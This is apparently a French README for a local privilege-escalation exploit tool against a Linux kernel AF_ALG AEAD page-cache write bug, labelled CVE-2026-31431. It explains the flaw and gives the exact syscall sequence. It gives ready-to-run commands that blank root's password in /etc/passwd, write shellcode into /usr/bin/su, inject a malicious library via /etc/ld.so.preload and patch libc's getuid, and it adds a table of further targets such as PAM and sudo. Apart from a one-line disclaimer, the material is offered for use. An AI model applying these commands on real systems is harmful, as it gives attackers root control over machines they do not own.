
Exploit pour CVE-2026-31431, une vulnérabilité d'écriture dans le cache de pages AEAD AF_ALG du noyau Linux permettant à un utilisateur non privilégié d'effectuer des écritures arbitraires de 4 octets dans des fichiers lisibles afin d'élever ses privilèges localement.
Vulnérabilité d'écriture hors limites dans le cache de pages du noyau Linux (erreur de chaîne de liste dispersée AEAD AF_ALG)
L'interface algif_aead du noyau Linux présente une vulnérabilité permettant à un utilisateur non privilégié d'écrire des données arbitraires dans le cache de pages (page cache) de tout fichier lisible — contournant complètement les vérifications de permissions des fichiers, le contrôle d'accès obligatoire (MAC) et les vérifications d'intégrité.
Le contenu du fichier sur le disque n'est pas modifié, mais tous les processus qui lisent ce fichier par la suite (y compris les programmes SUID, l'éditeur de liens dynamique, execve(), etc.) verront la version falsifiée par l'attaquant, jusqu'à ce que le cache de pages soit récupéré.
| Élément | Description |
|---|---|
| Sous-système | crypto/algif_aead.c |
| Algorithme | authencesn(hmac(sha256),cbc(aes)) |
| Configuration du noyau | CONFIG_CRYPTO_USER_API_AEAD=y/m (activé par défaut sur presque toutes les distributions majeures) |
| Privilèges requis | Aucun — seule une permission de lecture sur le fichier cible est nécessaire |
| Niveau de gravité | Élévation de privilèges locale → root |
| Distributions affectées | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, etc. |
Lors d'un déchiffrement AEAD via AF_ALG :
sendmsg() + MSG_MORE, contenant un seqno_lo de 4 octets contrôlé par l'attaquant.splice(), les pages du cache de pages du fichier cible sont injectées dans la liste dispersée d'envoi (TX SGL) du sous-système cryptographique du noyau.sg_chain.authencesn écrit seqno_lo à l'offset assoclen + cryptlen de la liste dispersée cible — cet emplacement dépasse le tampon de réception et tombe directement dans la page du cache de pages chaînée.EBADMSG, mais le cache de pages a déjà été falsifié. sendmsg (AAD) splice (page du fichier)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ Tampon RX │─────────────▶│ Page du cache de pages │
│ 8 octets │ │ (contenu du fichier) │
└──────────┘ └──────────────────────┘
▲
│
authencesn écrit seqno_lo ici
offset = assoclen + cryptlen
════ c'est ici que se trouve la vulnérabilité ════
seqno_lo sont entièrement contrôlés par l'attaquant dans l'AAD (quoi écrire)splice détermine l'offset de l'écriture dans le cache de pages (où écrire)# Falsifie le cache de pages de /etc/passwd, supprime le mot de passe root, exécute automatiquement su root
./exploit.py escalate
Processus d'exécution :
/etc/passwd dans /tmp/.passwd.bakroot:x:0:0:root:... en root::0:0:root :... dans le cache de pagessu root (sans mot de passe)Exemple de sortie :
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)
# Syntaxe de base
./exploit.py write <chemin_du_fichier> <offset> <données>
# Lire le payload depuis un fichier binaire
./exploit.py write <chemin_du_fichier> <offset> @payload.bin
# Écrire un shellcode au point d'entrée d'un programme SUID
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Injecter un chemin de bibliothèque de préchargement
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# Falsifier une fonction libc (par exemple, faire en sorte que getuid() renvoie 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# Méthode 1 : vider tous les caches de pages pour restaurer le contenu original du disque
echo 3 > /proc/sys/vm/drop_caches
# Méthode 2 : redémarrer
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, blob_de_clé_authenc)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → fd de requête
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ Clé d'authentification (16 octets de zéros) │
├─────────────────────────────────────────────┤
│ Clé de chiffrement (16 octets de zéros) │
└─────────────────────────────────────────────┘
La valeur de la clé n'a pas d'importance — le HMAC échouera nécessairement, mais l'écriture hors limites est déjà effectuée avant la vérification.
Étape 1 : sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = valeur à écrire
cmsg = [OP=DECRYPT, IV=tous zéros, ASSOCLEN=8],
flags = MSG_MORE)
Étape 2 : pipe_r, pipe_w = pipe()
Étape 3 : splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
Étape 4 : splice(pipe_r → req_fd, count = file_offset + 4)
Étape 5 : recv(req_fd, ASSOC_LEN + file_offset)
→ déclenche le déchiffrement authencesn
→ seqno_lo est écrit à l'offset assoclen + cryptlen de la dst SGL
→ cet offset tombe dans la page du cache de pages à file_offset
→ échec du HMAC, renvoie EBADMSG
→ le cache de pages a déjà été falsifié ✓
Disposition de la dst SGL :
[0 .. 7] → Tampon RX (zone de réception AAD)
[8 .. 8 + file_offset + 3] → Page du cache de pages (injectée par splice)
Emplacement d'écriture de seqno_lo :
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset dans le cache de pages
∴ L'attaquant contrôle file_offset → contrôle l'emplacement d'écriture
L'attaquant contrôle seqno_lo → contrôle le contenu écrit
.
├── exploit.py # Script d'exploitation autonome (nécessite uniquement Python 3 + Linux)
└── README.md # Ce fichier
Cet outil est destiné uniquement à la recherche en sécurité et aux tests d'intrusion autorisés. L'utilisation non autorisée de cet outil pour attaquer les systèmes d'autrui est illégale. L'utilisateur assume seul l'entière responsabilité légale.
| Contrainte | Description |
|---|
| Permission de lecture | Le fichier cible doit être lisible par l'utilisateur actuel (O_RDONLY) |
| Alignement | Écriture de 4 octets à chaque fois ; la fin de moins de 4 octets est complétée par 0x90 |
| Taille du fichier | La taille du fichier doit être ≥ offset + longueur_des_données + 4 octets |
| Cache de pages uniquement | Le contenu du fichier sur le disque n'est pas modifié |
| Persistance | Effectif jusqu'à ce que le cache de pages soit récupéré ou vidé manuellement |
| Configuration du noyau | Nécessite AF_ALG + authencesn disponibles (par défaut sur les distributions majeures) |
| Chemin d'attaque | Fichier cible | Effet |
|---|
| Suppression du mot de passe root | /etc/passwd | su root sans mot de passe |
| Injection de bibliothèque de préchargement | /etc/ld.so.preload | Tous les programmes chargent un .so malveillant |
| Falsification d'un programme SUID | /usr/bin/su, etc. | Exécution d'un shellcode pour obtenir un shell root |
| Falsification de libc | /usr/lib/libc.so.6 | Détournement de fonctions comme getuid() pour renvoyer 0 |
| Falsification d'un module PAM | /usr/lib/security/pam_unix.so | Contournement de toute authentification |
| Falsification de sudo | /usr/bin/sudo | Tout utilisateur obtient directement root |